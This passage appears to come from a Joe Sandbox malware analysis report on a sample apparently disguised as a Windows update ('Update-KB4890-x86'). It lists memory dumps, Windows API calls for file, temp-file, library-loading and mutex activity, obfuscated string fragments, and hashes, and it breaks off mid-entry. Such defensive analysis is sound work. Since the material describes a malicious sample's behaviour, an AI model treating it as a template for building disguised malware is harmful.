                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$Process$Free$File$Alloc$CloseCreateHandleModuleNameSize
                                                                    • String ID:
                                                                    • API String ID: 1079676353-0
                                                                    • Opcode ID: 4e0c200c8c15de1c34501c1501da476887ff163203a424eaa44262bbe6b8bc17
                                                                    • Instruction ID: 17315ba9b804ea5b43f0dc8ea45a8c146efaa34e73fe8ad2d9cbea40495e9014
                                                                    • Opcode Fuzzy Hash: 4e0c200c8c15de1c34501c1501da476887ff163203a424eaa44262bbe6b8bc17
                                                                    • Instruction Fuzzy Hash: 6561A5B57043446BE724EBB5EC56FFB739CEB88714F40082AF549C3291DA79EC108666
                                                                    APIs
                                                                    • Sleep.KERNEL32(?,?,?,?,?,?,?,?,?,00001388), ref: 0041C2CB
                                                                    • WaitForSingleObject.KERNEL32(?,00002710,?,?,?,?,?,?,?,?,?,00001388), ref: 0041C2E9
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: ObjectSingleSleepWait
                                                                    • String ID: '$.$0$2$4$:$:$C$I$M$U$V$Y$d$l$z${
                                                                    • API String ID: 309074506-2986699499
                                                                    • Opcode ID: eb96c70319cd0b3451e5825f8352d491de8bb6029cd1e33e93e4916a575053ba
                                                                    • Instruction ID: fcf21cc62856f80bb5c310aab61f0a24f3f1c6b30d2e4690c96e373a58e0fda4
                                                                    • Opcode Fuzzy Hash: eb96c70319cd0b3451e5825f8352d491de8bb6029cd1e33e93e4916a575053ba
                                                                    • Instruction Fuzzy Hash: 3CB18C3150C3C1CAD321CB39988478BFFE46BA6714F484A5EF5E5972D2C2798149CB6B
                                                                    APIs
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 00412C26
                                                                    • GetLocalTime.KERNEL32(0000003C), ref: 00412C31
                                                                    • CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00412C4B
                                                                    • WriteFile.KERNEL32(00000000,000000E6,00000010,0000003C,00000000), ref: 00412C62
                                                                    • CloseHandle.KERNEL32(00000000), ref: 00412C69
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: File$CloseCreateEnvironmentExpandHandleLocalStringsTimeWrite
                                                                    • String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
                                                                    • API String ID: 2838349079-1073058172
                                                                    • Opcode ID: 37388e250c0d3da558317f92ab88a6508f4e7bf2038ca778009507825cbacb26
                                                                    • Instruction ID: 9d5602a8bff07f8f1bd6dde567594dbbd8fa68865cf92d56b2b83de2356b4480
                                                                    • Opcode Fuzzy Hash: 37388e250c0d3da558317f92ab88a6508f4e7bf2038ca778009507825cbacb26
                                                                    • Instruction Fuzzy Hash: 4C41112010C3C199D322D7389848B8FBFD15BA7218F488B9DF1E45A2D2C2759249C7AB
                                                                    APIs
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000001), ref: 004121E0
                                                                    • GetFileAttributesA.KERNEL32(?), ref: 004121FF
                                                                    • LoadLibraryA.KERNEL32(?,00000000), ref: 00412252
                                                                    • GetProcAddress.KERNEL32(00000000,0042E3F0), ref: 004122AC
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: AddressAttributesEnvironmentExpandFileLibraryLoadProcStrings
                                                                    • String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
                                                                    • API String ID: 925820237-1073058172
                                                                    • Opcode ID: 131d082f9de17865684a3e021f0ddc608ce7fca9326b0bc6ab7601fe30902281
                                                                    • Instruction ID: 95e2059b24e6b08625558fafe1d9927b9274d35295d34d11aa50597a438a658b
                                                                    • Opcode Fuzzy Hash: 131d082f9de17865684a3e021f0ddc608ce7fca9326b0bc6ab7601fe30902281
                                                                    • Instruction Fuzzy Hash: C651631010C3D19AD311DB39989579BBFD45BA7328F485A9DF4E8472D3C269820DC76B
                                                                    APIs
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 00412AB6
                                                                    • CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00412AD0
                                                                    • ReadFile.KERNEL32(00000000,000000E6,00000010,?,00000000), ref: 00412B02
                                                                    • CloseHandle.KERNEL32(00000000), ref: 00412B09
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: File$CloseCreateEnvironmentExpandHandleReadStrings
                                                                    • String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
                                                                    • API String ID: 2873326616-1073058172
                                                                    • Opcode ID: 71fe3081bd5b8bd7161fbc035ce1e9a9d4373e19c6f6c250aca107c39a209abf
                                                                    • Instruction ID: 8c6ea43fa09a3286770b603215ecff93b091f737eb22e7810364243bb09da271
                                                                    • Opcode Fuzzy Hash: 71fe3081bd5b8bd7161fbc035ce1e9a9d4373e19c6f6c250aca107c39a209abf
                                                                    • Instruction Fuzzy Hash: 4E41032010C3C199D322D73C984878FBFD55BA7318F488B9DF1E85A2D2D3A99649C76B
                                                                    APIs
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 0040B70E
                                                                    • CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B728
                                                                    • ReadFile.KERNEL32(00000000,004310B8,00000004,?,00000000), ref: 0040B744
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0040B760
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: File$CloseCreateEnvironmentExpandHandleReadStrings
                                                                    • String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
                                                                    • API String ID: 2873326616-1073058172
                                                                    • Opcode ID: c114ea442860f0f80da07236d5853267047690d1852017ad31ebe147657299ea
                                                                    • Instruction ID: c9ca788773da980f5d214099c4e0c2fa05920a1819a7867e2b669ae635df4d4e
                                                                    • Opcode Fuzzy Hash: c114ea442860f0f80da07236d5853267047690d1852017ad31ebe147657299ea
                                                                    • Instruction Fuzzy Hash: 6341142010C3C199D322DB28984874FBFD15BA6718F588A5DF1E85B2E2C3B5964DC76B
                                                                    APIs
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000001), ref: 0040B868
                                                                    • CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040B882
                                                                    • WriteFile.KERNEL32(00000000,004310B8,00000004,?,00000000), ref: 0040B899
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0040B8A0
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: File$CloseCreateEnvironmentExpandHandleStringsWrite
                                                                    • String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
                                                                    • API String ID: 4155862527-1073058172
                                                                    • Opcode ID: 9273c5595a96b2405ab5af5d902c7359953e1080390114a057f2b0281a9bc69d
                                                                    • Instruction ID: baa3cae5f5ab34e93cfd813ff7becf06d1d45a190b3b457302884b7f26e423b1
                                                                    • Opcode Fuzzy Hash: 9273c5595a96b2405ab5af5d902c7359953e1080390114a057f2b0281a9bc69d
                                                                    • Instruction Fuzzy Hash: E831232014D3C1D9D312D7289848B8FBFD05BA7318F488A5DF1D85A2D2C3B9824DC767
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: _strrchrlstrcmpi
                                                                    • String ID: 8$I$h$h$h$l$m$p$p$p$s$s$t$t
                                                                    • API String ID: 2999501412-836531014
                                                                    • Opcode ID: ccec61454f6af3ee337d9bff48b7e251726acd3afa5ded9e8444d64063ddd766
                                                                    • Instruction ID: 3f20e5aee60d72e1d420386b93ed5b1cec2b7467db128eb5dee041a04ac3d7e4
                                                                    • Opcode Fuzzy Hash: ccec61454f6af3ee337d9bff48b7e251726acd3afa5ded9e8444d64063ddd766
                                                                    • Instruction Fuzzy Hash: B771C07540D3C28AD326CB288040B9BFBE1ABD6204F448E6EE5D947391E7B59109CB67
                                                                    APIs
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004010E1
                                                                    • CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 004010FB
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0040111C
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CloseCreateEnvironmentExpandFileHandleStrings
                                                                    • String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z
                                                                    • API String ID: 1403605771-759814561
                                                                    • Opcode ID: ca9cc3af777dddaed0d5913db1498ae4339569db94bec9ca99ba58dbe94e5d40
                                                                    • Instruction ID: 312b795b5e56d1041d03fccaae8dae33a3be811c4841049efce2031e4c952a66
                                                                    • Opcode Fuzzy Hash: ca9cc3af777dddaed0d5913db1498ae4339569db94bec9ca99ba58dbe94e5d40
                                                                    • Instruction Fuzzy Hash: 5B31FC2010C3C1D9E322D738985974FBFD15BA7318F588A9DF1E95B2D2C2B98249C7A7
                                                                    APIs
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004017D1
                                                                    • CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 004017EB
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0040180C
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CloseCreateEnvironmentExpandFileHandleStrings
                                                                    • String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z
                                                                    • API String ID: 1403605771-759814561
                                                                    • Opcode ID: 913cc769b66229c6b909c85032c4fd2047f7c90766c012ad0f461adb7c7f1a52
                                                                    • Instruction ID: cf6603b6467a36f1b1fe48ee20707507a00a8aaa8c14109d76319268d20f67da
                                                                    • Opcode Fuzzy Hash: 913cc769b66229c6b909c85032c4fd2047f7c90766c012ad0f461adb7c7f1a52
                                                                    • Instruction Fuzzy Hash: 1131FC2010C3C199E322D738985874FBFD15BA7318F588A9DF1E95B2D2C2B98249C7A7
                                                                    APIs
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00401221
                                                                    • CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040123B
                                                                    • CloseHandle.KERNEL32(00000000), ref: 00401242
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CloseCreateEnvironmentExpandFileHandleStrings
                                                                    • String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z
                                                                    • API String ID: 1403605771-759814561
                                                                    • Opcode ID: eae75d6211b48766a2a4855af57f21a379476b10d3c7f040af184a083788c328
                                                                    • Instruction ID: 183227d0d47840c6fb137b2e72691f3ad759e2d74dad290b7fbfcb0fd45e1397
                                                                    • Opcode Fuzzy Hash: eae75d6211b48766a2a4855af57f21a379476b10d3c7f040af184a083788c328
                                                                    • Instruction Fuzzy Hash: B631DC2010C3C1D9E322D738984974FBFD11BA7218F588A9DF1E95A2D2C2B99249C767
                                                                    APIs
                                                                    • GetTempPathA.KERNEL32(00000104,?,75570440), ref: 00419B01
                                                                    • GetTempFileNameA.KERNEL32(?,0042E290,00000000,?), ref: 00419B1B
                                                                    • WaitForSingleObject.KERNEL32(00000014,000000FF,00000000,000000EE), ref: 00419B49
                                                                    • ReleaseMutex.KERNEL32(00000014,?,?,?,00000005,?,?,?,00000006,?,?), ref: 00419FB1
                                                                    • DeleteFileA.KERNEL32(?,?,?,?,?,?,?,00000005,?,?,?,00000006,?,?), ref: 0041A0B6
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: FileTemp$DeleteMutexNameObjectPathReleaseSingleWait
                                                                    • String ID: %d:%d,$)$5$7$A$H$P$Z$t$u
                                                                    • API String ID: 3931662400-3265384
                                                                    • Opcode ID: fbd0aa01bd745ed4f8e17624d07f534a33e09d32544fa6f8117615c808823477
